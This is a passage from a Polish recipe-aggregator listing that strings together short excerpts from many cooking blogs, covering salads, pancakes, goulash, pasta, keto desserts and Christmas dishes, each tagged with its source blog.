oszczędzić sobie trochę zabawy z owocami). 5. Sałatę pokrój w kostkę. 6. Jogurt wymieszaj z majonezem, dopraw solą i pieprzem. 7. Do miski wrzuć pokrojoną sałatę, wymieszaj z sosem jogurtowo-majonezowym, na to wyłóż kawałki kurczaka, posyp płatkami migdałowymi i na wierzch wyłóż połówki winogron

Z notatnika dietetyka
Czekoladowe pancakes 116

się ratować (tak jak ja) mrożonymi. Jeśli brak jakichkolwiek owoców pod ręką, można też posmarować czekoladowe pancakes ulubionym dżemem, konfiturą lub powidłami. W wersji na wypasie możecie polać placuszki sosem czekoladowym, albo posmarować je słodkim kremem kokosowym lub orzechowym. Wszystko zależy od Waszej wyobraźni i upodobań. Drukuj Czekoladowe pancakes Obłędnie czekoladowe, puszyste amerykańskie pancakes to idealny pomysł na leniwe śniadanie

Na-talerzu.pl
Celebryci na słodko - Peach Melba... 145

zdjęcie )  'Peach Melba' ( pêche Melba ) to deser z brzoskwiń, lodów waniliowych i sosu ze świeżych malin. Wymyślony przez słynnego kucharza Auguste Escoffier w 1892 lub 1893 roku, w hotelu Savoy, dla australijskiej śpiewaczki operowej , sopranu, Nellie Melba .   Pierwsza wersja deseru powstała z okazji uroczystego obiadu wydanego przez księcia Orleanu ( klik ) na cześć triumfu śpiewaczki w londyńskim Covent

Lejdi of the house
Gładzica pieczona z warzywami w papilotach 128

smaczne, cenione wyżej niż mięso storni. Można ją smażyć, piec, dusić w winie, w jarzynach, przyrządzać na parze. Popularne są smażone filety (w cieście, w panierce) z frytkami i sosem remoulade (na bazie majonezu). Gładzica pieczona z warzywami w papilotach Czas przygotowania: 40 minut Składniki: 2 gładzice 1 marchewka 1 cebula masło świeży rozmaryn - 2 gałązki sól grubo mielony pieprz

Kulinarne przygody Gatity
Placuszki z cukinii 🥒 179

wielkości cukinii i jak bardzo ją odciśnięcie. Dodać posiekaną natkę, doprawić solą i pieprzem, smażyć z obu stron na średnim ogniu do zazłocenia. Ja podaję z wedzonym łososiem i sosem czosnkowym. Smacznego

Pelusiowa Kuchnia
Makaron z krewetkami, szpinakiem i pomidorkami koktajlowymi 196

minuty. Wlej na patelnię śmietanę, sok z cytryny i starty parmezan. Dodaj sól i pieprz, zagotuj. Dodaj makaron i szpinak, wymieszaj. Dolej wody z gotowania makaronu, jeśli sos jest zbyt gęsty. Dodaj krewetki, wymieszaj dokładnie. Przygotowałeś/aś ten przepis? Podziel się efektem! Zostaw komentarz poniżej. Nie zapomnij też oznaczyć @przepisynatalerzu i dodać hashtag #przepisynatalerzu na Instagramie i na Facebooku

Na-talerzu.pl
Gulasz z fasolką 121

Gulasz z fasolką Potrawka z mięsa wieprzowego z marchewką i fasolką szparagową w pomidorowym sosie.   Składniki: ·        1kg szynki wieprzowej ·        3 duże marchewki ·        1 opakowanie fasolki szparagowej ·        2 czerwone papryki

Kulinarna Chwila
Sałatka z kurczakiem i prażonym słonecznikiem 90

kukurydza drobno pokrojona czerwona cebula kurczak (pokrojony na małe kawałeczki, zamarynowany w dowolnych przyprawach (u mnie gyros) i oliwie oraz usmażony prażony słonecznik osobno podaje na stół do polania sos czosnkowy (jogurt grecki plus majonez, przeciśnięty czosnek, kilka kropel soku z cytryny, sól, pieprz papryka słodka). Powyższe składniki układać warstwowo w salaterce. Autor przepisu: Lila Nowakowska Artykuł Sałatka z kurczakiem

Wasze Przepisy
8 PRZEPISÓW NA ROZGRZEWAJĄCE DANIA JEDNOGARNKOWE 216

zamrożenia w pudełku. Polecam :)                         KURCZAK PO MEKSYKAŃSKU- przepis tutaj Soczyste kawałki kurczaka, warzywa, czerwona fasola i sos pomidorowy.  Idealne danie na obiad z dodatkiem ryżu lub ulubionej kaszy.  Można również podać jako ciepły posiłek na kolację z kawałkiem chleba lub bułki

Zrób to smacznie
8 PRZEPISÓW NA ROZGRZEWAJĄCE DANIA JEDNOGARNKOWE 102

podania od razu po przygotowaniu, do zamknięcia w słoiki lub do zamrożenia w pudełku. Polecam :) KURCZAK PO MEKSYKAŃSKU-  przepis tutaj Soczyste kawałki kurczaka, warzywa, czerwona fasola i sos pomidorowy. Idealne danie na obiad z dodatkiem ryżu lub ulubionej kaszy. Można również podać jako ciepły posiłek na kolację z kawałkiem chleba lub bułki.  FASOLKA PO BRETOŃSKU Z KIEŁBASĄ

Zrób to smacznie
Kolorowa terrina jogurtowa 124

posiekany czosnek, dopraw solą i pieprzem i chili, wymieszaj z żelatyną rozpuszczoną, przełóż do formy (ja zastosowałam dużą miskę) i odstaw na 4 godz do lodówki. podawaj z ostrym sosem

przepisy- Milki
Schab peklowany pieczony w glazurze wg Aleex 131

peklowej (2 opakowania)  • 3 ząbków czosnku  • 2 listki laurowe  • ½ łyżeczki majeranku  • 4 ziarna ziela angielskiego  Glazura:   • 2 łyżki powideł śliwkowych  • 2 łyżki sosu sojowego  • 1 łyżka octu winnego  • 3 łyżki miodu  • 3 ząbki czosnku  Sposób przygotowania:   1. Do garnka wlać 2 litry zimnej wody, dodać i rozpuścić sól

W mojej kuchni
GRZANKI Z PASTĄ JAJECZNĄ 132

INNE PYSZNE PRZEPISY ŚNIADANIOWE i/LUB KOLACYJNE:   NALEŚNIKI Z ŁOSOSIEM I SALSĄ VERDE     CARPACCIO Z BURAKA Z SALSĄ VERDE     BURRITO Z KURCZAKIEM Z AWOKADO I SOSEM CZOSNKOWYM     CHLEBKI NAAN NADZIEWANE SEREM Z RUKOLĄ ROSZPONKĄ I BRZOSKWINIĄ     OMLET Z BRZOSKWINIAMI ALFREDO CYNAMONEM KURKUMĄ I CHILI     CHLEBKI NAAN Z BAZYLIĄ I OLIWĄ

globuskulinarny
Domowa kiełbasa w słoiku – jak zrobić? 239

wklęsłe. Jeśli któraś z nich jest wypukła, taką kiełbasę musimy przeznaczyć do szybkiego spożycia. Zachęcamy również do sprawdzenia innych naszych przepisów na mięso do słoików. Polecamy boczek w sosie własnym , smalec z mięsem i cebulką , oraz mięso w słoiku . Życzymy smacznego! Artykuł Domowa kiełbasa w słoiku – jak zrobić? pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
Keto ciasto z pianką wiśniową (Paleo, LowCarb) 130

zblendować. Połączyć z ubitą masą kokosową. Tężejącą masę wylać na piernikowy spód. Wstawić do lodówki. Ganache czekoladowy Czekoladę rozpuścić w kąpieli wodnej. Wymieszać z mlekiem kokosowym na gęsty sos. Ostudzić lekko i jeszcze płynną masę równomiernie rozsmarować na wiśniowej piance. Udekorować konfiturą wiśniową i posypać płatkami migdałowymi. Wstawić z powrotem do lodówki na minimum 2h do pełnego stężenia. Pozostałe informacje

Modern Cave Girl
Maccheroni z rukolą i szynką dojrzewającą. 112

słona, dla tego uważamy by nie przesolić całości); zestawiamy patelnię z ognia i wrzucamy rukolę po czym wszystko mieszamy; odcedzamy makaron i przekładamy na patelnię, mieszając go dokładnie z sosem; na koniec podgrzewamy kilka chwil na mocnym ogniu i natychmiast serwujemy. Smacznego

Pasta Po Polsku
Gulasz z serc drobiowych 100

drobne paski 1 marchewka 1 cebula 1 ząbek czosnku natka pietruszki sól, pieprz, ziele angielskie, liście laurowe, troszkę estragonu, może być lubczyk 1 łyżka oleju mąka do zagęszczenia sosu śmietanka 30% Sposób przygotowania: Serduszka smażę na oleju na rumiano i w międzyczasie dorzucam cebulę w kostkę i rozdrobniony czosnek, zalewam wodą, dodaję przyprawy i marchewkę. Gotuję do miękkości serc

Wasze Przepisy
Zdrowe przekąski na imprezę – moje TOP 10 117

można użyć też batatów. Banalnie proste do wykonania, a efekt WOW gwarantowany. Ja zwykle podaję je z jakimś dipem o wyrazistym smaku. Tutaj znajdziesz przepis na pieczone ziemniaczki z sosem Tzatziki. 2. Mini pizze Pizzę można przygotować na kilka sposobów. Bardzo lubię przygotowywać ją w formie przystawki, w postaci małych, okrągłych “bułeczek”. Zawsze znikają w ekspresowym tempie

Wiszniówka
Makaron a sprawa polska - odc. 2, Maccheroni. 133

Włosi określają, że musi być "słona jak woda morska") - a musi być mocno osolona bo świeży makaron gotuje się krótko - ok. 5 minut zaledwie; serwujemy natychmiast, z odpowiadającym nam sosem. Smacznego

Pasta Po Polsku
Wegetariański Sylwester - 10 przepisów na pyszne dania na imprezę 159

przepis) Sałatka z cykorią, jajkami na parze i orzechami włoskimi  (kliknij, aby poznać przepis) Dip z awokado  (kliknij, aby poznać przepis) Sałatka ze smażonym tofu i jogurtowym sosem  (kliknij, aby poznać przepis) Chlebek bananowy z orzechami włoskimi i nasionami chia  (kliknij, aby poznać przepis) Hummus z burakami  (kliknij, aby poznać przepis) Pieczone ziemniaki ze śródziemnomorskim

My Chcemy Jeść
Urządzenia chłodnicze dla gastronomii 113

wszystkim do przechowywania artykułów spożywczych, które następnie będą wykorzystywane do przygotowania potrawy dla klientów lokalu. Świetnym przykładem jest wspomniany wcześniej kebab, gdzie w nadstawkach chłodniczych przechowuje się warzywa i sosy w odpowiedniej temperaturze. Zastosowanie tego urządzenia jest gwarancją dla klientów, że produkty są świeże, a cały proces przygotowywania dania, odbywa się w higienicznych warunkach. Najczęściej możemy spotkać się z nadstawami

jakszef.pl
Makaron a sprawa polska ;) 175

makaron podsuszamy 2-3 godziny przed ugotowaniem. Gotujemy al dente , w dużej ilości mocno osolonej wody (wymaga tego, jako że świeży makaron gotuje się krótko). Serwujemy z odpowiadającym nam sosem (przykładowy przepis w moim poprzednim wpisie). I to wszystko. Prawda, że proste?  😀  Przy okazji, zwróćcie uwagę na załączone zdjęcia. Zauważyliście może, że na stolnicy nie ma nawet śladu

Pasta Po Polsku
Bułeczki cynamonowe z karmelizowanym jabłkiem 136

rozpływające się w ustach. Bez wątpienia idealne na wigilijny deser oraz zawsze wtedy, gdy mamy ochotę na cos słodkiego. Z pewnością zasmakują każdemu. Szybki przepis na Grecka tortilla z sosem tzatziki Składniki: 500 g mąki pszennej 80 g białego cukru 7 g drożdży instant 1 duże jajko 0,5 łyżeczki soli 250 ml mleka 70 g masła Na nadzienie

Kulinarnyblog.pl - wiesz jak gotować!
Słonecznik - idealna sałatka imprezowa 1637

dosłownie każda. Jednak ją uwielbiam i myślę, że Wam też przypadnie do gustu. Sałatka słonecznik, gdzie każda warstwa ma swoją ważną rolę w kompozycji smakowej. Między warstwami napotkamy pyszny sos, który połączy odrębne nuty smakowe w jedno. Owszem będzie tam majonez, ale w odpowiednim towarzystwie zabłyśnie wcale inaczej. Chociaż i wygląda jak sałatka „nie modna”, no bo duży talerz, majonez

Kuchnia Łukasza
Szybkie przekąski i przystawki na imprezę 736

też domowego budżetu. Żeby zrobić smaczne przekąski na imprezę wystarczą bagietki, krakersy lub tortille, trochę kolorowych warzyw, serów i wędliny. Świetnym dodatkiem do niemal każdej przekąski i przystawki są sosy, hummus i twarożek. Rozpocznij nowy rok z naszymi najlepszymi przepisami na szybkie przekąski na imprezę. Przekąski na imprezę  Przekąski na imprezę to szybkie niewielkie dania imprezowe na jeden kęs

Cztery Fajery
szybkowar- golonki indycze... 152

Golonki z marynatą zrumienić w garnku szybkowara z każdej strony z pokrojoną w kostkę cebulą, wlać wodę i po zasyczeniu pary gotować 45 minut, z wywaru można przygotować sos z dodatkiem mąki, śmietany, podać z ziemniakami i np. grochem z kapustą - golonki indycze marynowane całą noc w lodówce są bardzo aromatyczne i soczyste, w szybkowarze przygotowane są bardzo szybko gotowe

W Mojej Kuchni Lubię
Pieczony ziołowy kurczak z pieczonymi ziemniakami i warzywami 137

temperaturze 180 C. W połowie pieczenia zamień blaszki z zawartością miejscami żeby kurczak i warzywa miały szansę pięknie się przypiec. Serwuj na gorąco z dowolnymi dodatkami, świetnie sprawdza się sos czosnkowy Smacznego! Artykuł Pieczony ziołowy kurczak z pieczonymi ziemniakami i warzywami pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Keto likier pierniczkowy (Paleo, LowCarb) 149

Idealny sauté i jako na przykład dodatek do kawy . Myślę, że sprawdzi się równie dobrze we wszelkich zimowo- świątecznych deserach . Widzę go już pod postacią bożonarodzeniowej panna cotty albo sosu do sernika lub lodów. Może się także stać wspaniałym świątecznym prezentem , jeśli użyjemy doń ładną butelkę i ozdobnie zapakujemy. Keto likier pierniczkowy, czyli piernik w płynie Likiery , pierniki i inne

Modern Cave Girl
Karryslid – duński śledź curry 157

wołowina, jajka, kawior, warzywa lub owoce. S mørrebrød można kupić w niemal każdym bistro i sklepie w Danii. Zwykle zjada się je nożem i widelcem, bo dodatki i kremowe sosy wysoko piętrzą się na kromce chleba i trudno byłoby ją po prostu ugryźć. Smørrebrød narodziły się wkrótce po rewolucji przemysłowej i początkowo były zwykłymi kanapkami z serem lub wędliną, zabieranymi

smakowitehistorie.com
Makaron z kiszoną kapustą, pieczarkami i boczkiem 111

dlatego stanęło na węgierskim dodatku. Dziś zrobiłam dodatkowo krem z pieczarek (ale wyszedł bardzo średnio na jeża, więc nie będę go publikować), a na wieczór mam w planie zrobić sos pieczarkowy do placków z kiszonej kapusty – na jutro na obiad. Nie takie miałam plany kulinarne na najbliższe dni, ale nie szkodzi, jakoś to przeżyję. Składniki: 500 g kiszonej młodej

Kardamonovy
Leczo z chorizo 110

tego mieloną paprykę, smażymy wszystko paręnaście sekund. Do kiełbasy wrzucamy pomidory, oregano i liść laurowy, mieszamy i gotujemy bez pokrywki około 20 minut, od czasu do czasu mieszamy, żeby sos z pomidorów porządnie się wysmażył. Pod koniec gotowania doprawiamy solą i świeżo zmielonym pieprzem. Przed podaniem posypujemy poszatkowaną natką pietruszki. Artykuł Leczo z chorizo pochodzi z serwisu Kardamonowy

Kardamonovy
Surówka z czerwonej kapusty i marchewki 125

drugi dzień. To chyba tyle. Z proporcjami możecie się bawić. Ja specjalnie chciałam dowalić dużo marchewki, już dawno mnie to korciło. Wyszło super. Zjedliśmy ją z pulpetami w sosie pomidorowym i ciemnym ryżem. Reszta zostanie zaraz wchłonięta z tortillami z kurczakiem, jakie mamy dziś na kolację. Jutro na Facebooku może w końcu opublikuję post wakacyjny. Nie potrafię się od miesiąca

Kardamonovy
Placki ziemniaczane bez mąki 104

smażycie je na sporej ilości oleju, będą chrupiące. Moje dodatkowo lądują w piekarniku. Smażąc kolejne porcje, poprzednie daję do piekarnika, żeby podać od razu wszystkie. Najczęściej jemy je z sosem czosnkowym na bazie jogurtu naturalnego. Tym razem zjadłyśmy je z Tolą z samym jogurtem naturalnym. My był poza domem przez weekend, więc się nie załapał. Tydzień wcześniej jedliśmy

Kardamonovy
Pasta jajeczna z tuńczykiem i kiszonym ogórkiem 125

życie to ja jestem za. Co do rodzaju tuńczyka, dodajcie jaki lubicie. Ja ogarniam tylko tego w kawałkach i tego w oleju. Te rozdrobione są nieapetyczne, a te w sosie własnym pachną nie za ciekawie. Tego typu pasty najlepiej sprawdzają się oczywiście jako dodatek do pieczywa. Spróbujcie ją jednak kiedyś podać np. na liściach sałaty. Ja kiedyś jadłam pastę jajeczną

Kardamonovy
Sałatka z jajkami, kukurydzą, porem i ogórkami kiszonymi 124

jajkami, porem, selerem i ogórkami konserwowymi . Wejdźcie, zobaczcie jak je robię. Obie super sprawdzą się na wszelkiego rodzaju spotkania rodzinne lub mniej rodzinne. Pierwszy raz (chyba) dodałam do sosu musztardę. Znowu niby nic, a jednak smak sałatki jest trochę inny. Na plus oczywiście, żeby nie było. O majonezie już się nie będę rozpisywać, pisałam o nim parę dni temu

Kardamonovy
Domowa karkówka na kanapki 1807

kanapki. Karczek możemy również podać jako pyszne mięso do obiadu. Rzecz jasna należy wówczas siatkę lub sznurek z gorącego mięsa Do tak podanego mięsa idealnie sprawdzi się nasz domowy sos pieczeniowy ! Polecamy! Zapraszamy też do sprawdzenia innych naszych przepisów na domowe wędliny i mięsa. Min. na domowy boczek pieczony , szynka wieprzowa pieczona , oraz pyszna rolada boczkowa z piekarnika . Życzymy smacznego

Kuchnia Na Wypasie
Dorsz w migdałach 120

grubości ryby. Zobacz też inne przepisy na Boże Narodzenie Śledzie w śmietanie Dorsz z sałatką kukurydzianą Dorsz sous vide z kalafiorowym puree Ryba po grecku Pieczony łosoś w sosie teriyaki Kulki rybne marynowane Zobacz też nowe przepisy Dorsz w migdałach Krokiety wigilijne Naleśniki na krokiety Likier bożonarodzeniowy Sernik wiedeński Artykuł Dorsz w migdałach pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Wigilijny pasztet z suszonych grzybów 158

natknęłam się na ten pasztet u Karola Okrasy, wiedziałam, że będzie pysznie! Podczas pieczenia zapach tych leśnych skarbów unosi się w całym domu. Wspaniale smakuje z odrobiną chrzanu lub sosem żurawinowym i na pewno świetnie sprawdzi się na wigilijnym stole. Moczcie grzyby i smażcie cebulkę, niech rozkosznie unoszą kąciki ust wszystkich jedzących ten pyszny pasztet przy świątecznym stole :) Wigilijny pasztet

Kuchnia w Słońcu Skąpana
Sałatka z łososiem i pomarańczą 89

spróbuj tego super szybkiego i prostego przepisu. Składniki: 100g łososia wędzonego 1,5 szt. niedużej pomarańczy 150g liści szpinaku lub roszponki 1 awokado odrobinę koperku pestki dyni lub inne SOS sok z połowy pomarańczy łyżeczka miodu 1 łyżka oliwy łyżeczka musztardy Sposób przygotowania: Liście szpinaku przebrać odcinając grubsze ogonki, opłukać, wysuszyć i ułożyć na talerzu. Pomarańcze wyfiletować z białych błonek

Wasze Przepisy
Rodzaje japońskiej zupy ramen 147

całym świecie mają wiele własnych sposobów na przygotowanie wywaru do tego dania, jednak wyróżnia się kilka ich podstawowych rodzajów: Shoyu Zupa shoyu-ramen to klarowny, brązowy bulion o smaku sosu sojowego (jap. shoyu). Zupa ta zazwyczaj zrobiona jest z rosołu drobiowego, ale często do jej przygotowania używa się kilka rodzajów mięsa np. wołowiny lub ryby. Sposób doboru mięsa zależy

Słodkie okruszki
5 sałatek w roli obiadu 132

godziny. Zobacz przepis Sałatka z tofu z pieczonymi warzywami Sałatka tak prosta, że aż trudno uwierzyć. Po prostu kroisz warzywa, wykładasz na tackę do pieczenia, pieczesz, mieszasz, polewasz jogurtowym sosem i gotowe. Zobacz przepis Sałatka nicejska z łososiem Sałatka nicejska to wspaniałe połączenie ugotowanych i świeżych składników. Rodzaj warzyw, poza obowiązkowymi ziemniakami, absolutnie dowolny. Zobacz przepis Sałatka z pieczonej czerwonej

Niedzielny kucharz
Shakshuka 159

grzanki, bułki, chleb co lubisz Shakshuka jak ją przygotować Jest to banalnie proste. Jeśli masz już gotową pastę Zakuscă , wlej ją na dużą patelnię i podgrzej. Zrób otwory w sosie na jajka, wbij je, pokrusz fetę, zmniejsz temperaturę, przykryj patelnię pokrywką i zagrzej, aż jajka się zetną. Pieczywo zrób jak lubi. Użyłem pietruszki, ale dodaj zioła, jakie masz i lubisz

RafalCook
Jak spróbować wszystkich 12 potraw wigilijnych, nie przejadając się? 121

przy tym „spalonych” kalorii! Wybierz wersję fit Do sałatki jarzynowej dodaj jogurt naturalny zamiast majonezu, rybę upiecz zamiast smażyć na głębokim tłuszczu a śledzie zamiast w oleju podaj z sosem chrzanowym na bazie serka bądź jogurtu. Zaoszczędź sobie niepotrzebnych kalorii! Jak to niektórzy mówią… kalorie w święta się nie liczą! Niestety liczą się, ale przede wszystkim liczy się

kuron.com.pl
Jabłka na 1000 sposobów | Dżem z jabłek z cynamonem i pomarańczą oraz rogaliki 100

które lubią dodawać owoce do dań wytrawnych, mają tu ogromne pole do popisu, bowiem jabłka świetnie sprawdzają się jako dodatek do serów, mięs, wegetariańskich pasztetów, czy przygotowania słodko-pikantnych sosów typu chutney. Odmian jest ogrom, a możliwości ich wykorzystania jeszcze więcej. Jabłka świetnie smakują na surowo, na słodko, słono, pieczone, smażone, duszone i nawet gotowane. W końcu czy jest ktoś

Mienta blog
Pomysły na prezenty na Święta 115

wiele różnych potraw, a nie jedynie wysuszyć warzywa czy owoce. W dehydratorze (korzystam z modelu Ronic Zyle, który opisałam w artykule Co to jest dehydrator ) przygotowuję m.in. batoniki, domowe sosy i zupy, które nie wymagają później gotowania, wystarczy je przed podaniem zalać wrzątkiem. Dla osob narzekających na brak czasu, ale też miłośników pieszych wędrówek i kierowców sprzęt idealny. Wysuszone produkty

Cztery Fajery
Pomysły na świąteczne jadalne prezenty! Słodkie Łączy! Syrop do kawy - XMAS COFFEE, świąteczna granola! 140

oleju kokosowego   W rondelku stop cukier na jasnozłoty karmel, zestaw z ognia, dodaj olej kokosowy i całość wymieszaj. Dodaj przyprawy. Suszone owoce kroimy na mniejsze kawałki, całość zalewamy sosem z rondelka. Dokładnie mieszamy aż wszystkie składniki się połączą. Formę do zapiekania lub blaszkę, wyłóż papierem do pieczenia, wysyp zawartość miski i całość zapiekaj przez 18-20 minut w temp

SMYKWKUCHNI
Tradycyjne potrawy wigilijne, bez których nie ma Świąt 156

niektórych domach nadal pamięta się przepisy na karpia po francusku (z dodatkiem cebuli i goździków), czy gotowanego w ciemnym piwie z warzywami, albo „na szaro”, czyli w słodkim, piernikowym sosie z dodatkiem migdałów i rodzynek. Ta ostatnia wersja znana jest na całym świecie jako karp po polsku. Może warto więc wrócić do tego, co niegdyś było tak popularne, a teraz

Kulinarnyblog.pl - wiesz jak gotować!
Jak upiec dynię piżmową? 166

warunkiem, że kupimy jej oryginalną odmianę niekrzyżowaną. Skóra dyni piżmowej jest niejadalna.  Miąższ tej dyni ma zdecydowanie mniej skrobi niż dynia Hokkaido, więc rekomenduje jej użycie do wszelakich sosów, zup, kremów lub jako warzywo do pieczenia. Dynia piżmowa sama w sobie może być świetnym daniem, jeśli trafisz na pyszną i słodką sztukę to będzie to prawdziwa uczta. Przygotowanie takiej

SMYKWKUCHNI
Menu na tydzień: pęczak i soczewica górą! 129

obiadu wczoraj, lub przedwczoraj (ryż w lodówce w szczelnym pojemniku może spędzić 4 dni). U nas były to resztki z piątku, kiedy zrobiliśmy sadzone z ryżem w imbirowym sosie . Ugotowaliśmy wtedy więcej ryżu, po to żeby właśnie był na poniedziałek. (ryż zamroziliśmy). Zobacz przepis We wtorek był Filet z kurczaka z kozim serem Bardzo proste danie: kurczaka tniesz w poprzek

Niedzielny kucharz
Świąteczny keks z bakaliami i cytrynowym lukrem 132

także do panierowania mięs i ryb. Doskonale się nadaje do różnego rodzaju ciast wymagających kleistości np.: rogaliki, krokiety, wyrób klusek, pierogów i wypieków ciast drożdżowych. Wzbogacimy nią także aromatyczne sosy i tradycyjne zupy. Charakteryzuje się wysokim stopniem przemiału ziaren pszenicy zwyczajnej i zawiera cenny potas, fosfor, białka oraz folacynę

Tajemnice Smaku
Drobiowe kąski z ananasem 108

idealna propozycja, która na pewno zasmakuje każdemu. Z podanych składników otrzymujemy 12 szt. małych, drobiowych porcji.  Drobiowe kąski z ananasem najlepiej smakują bezpośrednio po przygotowaniu, podane z sosem czosnkowym. Składniki: 2 pojedyncze piersi drobiowe, 100 g ananasa (świeżego lub z puszki), 3 plastry sera kremowego do tostów (np. Hochland), sól. Panierka: ½ szklanki drobno mielonej bułki tartej,  1 łyżeczka

Świat Domowej Kuchni
Kotlet mielony z marchewką i groszkiem 147

lekko osolonej wodzie. Następnie dodaj masło i mąkę do marchewki i intensywnie mieszaj, aż masło się rozpuści i nie będzie grudek z mąki. Kiedy marchewka będzie, miękka a sos lekko zgęstnieje, dodaj groszek i chwilę gotują, aż zmięknie, dopraw, posiekana pietruszka, solą i pieprzem. Nałóż kotlet mielony, marchewkę z groszkiem i ugotowane ziemniaki, zjadaj. Jeśli spodobał Ci się mój przepis

RafalCook
Świąteczne ciasta – 12 przepisów 123

grecku Śledzie z żurawiną Zobacz też nowe przepisy Świąteczne ciasta – 12 przepisów Prezent dla osoby która lubi gotować – 8 pomysłów Bogracz Piernik dojrzewający Pieczone jabłka w sosie karmelowym Artykuł Świąteczne ciasta – 12 przepisów pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Keto wegański placek dyniowy (Paleo, LowCarb) 164

wymienialna na inne opcje. Z powodzeniem widzę tutaj bitą śmietanę posypaną cynamonem w bardziej odświętnej wersji deserowej. Czyli na przykład wtedy, gdy przyjdą niespodziewani goście… Będzie pasował tutaj też sos karmelowy i orzechy pecan lub hybryda obu rozwiązań – bita śmietana i karmel. Ale – wierzcie lub nie – ze zwykłym jogurtem kokosowym w roli przekąski też daje radę. Wegański placek dyniowy

Modern Cave Girl
Indyk w sosie pieczarkowo-musztardowym / Turkey in mushroom and mustard sauce 133

samą patelnię włóż masło. Smaż grubo posiekaną cebulę około minuty. Dodaj pieczarki pokrojone w ćwiartki i smaż aż zmiękną. Dodaj wcześniej usmażonego indyka. Wlej śmietankę i dodaj musztardę. Dopraw sos solą i pieprzem. Gotuj, aż zgęstnieje (około 6 minut). Bataty obierz  i pokrój w plasterki. Polej oliwą, posyp solą, pieprzem i tymiankiem. Przełóż do naczynia żaroodpornego. Piecz

Delicious Place
Podstawowy przepis na fasolkę po bretońsku 171

Poznaj mój podstawowy przepis na fasolkę po bretońsku. Danie jednogarnkowe, bardzo proste do przygotowania, a jednocześnie sycące i aromatyczne. Fasolka po bretońsku to nic innego jak biała fasola z sosem pomidorowym oraz dodatkiem mięsa w postaci boczku i kiełbasy. U mnie najczęściej jem samą fasolkę po bretońsku lub ewentualnie z dodatkiem chleba. Najczęściej używam białej fasoli typu Jaś drobnej , zdecydowanie

Ania gotuje
Sałatka z topinamburem i jabłkiem 126

minut. Sałatę umyć, osuszyć, po czym ułożyć na półmisku. Na wierzchu ułożyć upieczony topinambur, jabłka pokrojone w cienkie półplasterki, a także orzechy (wcześniej uprażyć na suchej patelni). Sałatkę polać sosem: w kubku wymieszać musztardę, miód, oliwę i sok z cytryny/pomarańczy. Sałatka z topinamburem i jabłkiem gotowa. Smacznego ! Przepisy na inne sałatki znajdziesz tu Artykuł Sałatka z topinamburem i jabłkiem

Strefa Zdrowego Żywienia
Najlepsza Sałatka ziemniaczana prosto z Belgii 156

Belgia Najlepsza Sałatka ziemniaczana i potrzebne składniki 500 g małych ziemniaków 200 g fasolki szparagowej 3 jajka ugotowane na twardo 250-300 g bekonu pokrojonego na wielkość kęsa Sos 3-5 łyżek oliwy z oliwek 1-2 łyżki octu winnego białego 2 łyżeczki musztardy Dijon 3-5 łyżeczek suszonego lub świeżego koperku Sól Pieprz świeżo zmielony Jak zrobić najlepsza Sałatkę

RafalCook
Tarta z pieczarkami i pomidorami. 162

Serek śmietankowy przekładamy do miseczki dodajemy musztardę, posiekane ząbki czosnku, sól, pieprz i oregano. Mieszamy. Arkusz ciasta francuskiego rozkładamy na formie do tarty o średnicy 21 cm. Śmietankowym sosem smarujemy spód ciasta francuskiego. Następnie kładziemy usmażone pieczarki – rozkładamy je równomiernie, na wierzchu kładziemy pokrojone pomidory i cebulę. Piekarnik nastawiamy na 180°C i pieczemy tartę 15 – 20 minut. Jest

Zdrowy Styl Joanny
Fenomen kuchni włoskiej w Polsce 100

kilku składników, które muszą zostać poddane odpowiedniej obróbce oraz być ze sobą odpowiednio połączone.  Dania kuchni włoskiej charakteryzują się niezwykłymi aromatami. Makarony nie pływają w dużej ilości rzadkiego sosu, lecz są delikatnie otulone jego kremową konsystencją. Najczęściej mają po zaledwie kilka dodatków, które zostały odpowiednio przygotowane i dodane w odpowiednim momencie. Dzięki temu smak każdego składnika jest bardzo wyrazisty

jakszef.pl
Nietypowe zastosowanie Coca coli w domu 113

narzędzia. Jest skutecznym środkiem na odblokowanie odpływu w zlewie. Sprawdzi się również przy usuwaniu plam z fantastów na dywanie lub tapicerce. Dodatek do dań Coca cola jest składnikiem sosu barbecue. Wymieszaj keczup z ludzką coli i polej kurczaka lub żeberka. Po upieczeniu na grillu na powierzchni mięsa stworzy się swoista glazura. Dzięki polaniu colą szynki podczas pieczenia, mięso będzie wilgotne

ProstePesto.pl
Łosoś pieczony z warzywami po hiszpańsku 138

Zastanawialiście się kiedyś, bez czego nie mogłyby się obejść kuchnie z różnych stron świata? Trudno wyobrazić sobie kuchnię grecką bez oliwek. Włoską – pomidorów. Chińską – sosu sojowego. Polską – ziemniaków. Hiszpańską? Papryki! Tutaj, bez tej świeżej czy suszonej – tak słodkiej i wędzonej – jedzenie zwyczajnie nie byłoby takie samo, wiele przy tym tracąc ze swego charakteru. Jeśli macie zatem na podorędziu kawałek łososia

Even Better Food
Pasztet z mięsa z rosołu z żurawiną 138

pieczemy przez 20-30 minut aż zrobią się chrupiące jak czipsy. Jest to znakomita przekąska, którą można podjadać między posiłkami. Mamy też inny sposób: mięso z rosołu zapiekane w sosie pomidorowym z pieczoną dynią. Ostatnie trick jak wykorzystać mięso z rosołu przedstawiamy w tym wpisie. To pasztet z mięsa z rosołu. Rzecz nieprawdopodobna co można wyczarować z nudnego mięsa

Niedzielny kucharz
Chaczapuri z dwoma serami 124

minuty z każdej strony. Placki można dodatkowo posmarować olejem za pomocą pędzelka, będą wtedy smaczniejsze.   Gorące można natrzeć ząbkiem czosnku albo podać z sosem czosnkowym.  Smacznego

bistro mama
Keto cloud bread (Paleo, LowCarb) 148

dość łatwo się rozpada, to pasowały całkiem nieźle, chociaż ciężko było konsumować burgera trzymając go w dłoniach, a tak się w sumie powinno to robić… Może gdybym nie posmarowała sosem chlebka, który stanowił dolną część bułki do burgera , to byłoby inaczej. No ale pod względem smaku, wszystko komponowało się wyśmienicie. Jestem jednak zdania, że keto chlebek chmurka bardziej nadaje się

Modern Cave Girl
RACUCHY DROŻDŻOWE Z BORÓWKAMI GRANATEM I MIĘTĄ 136

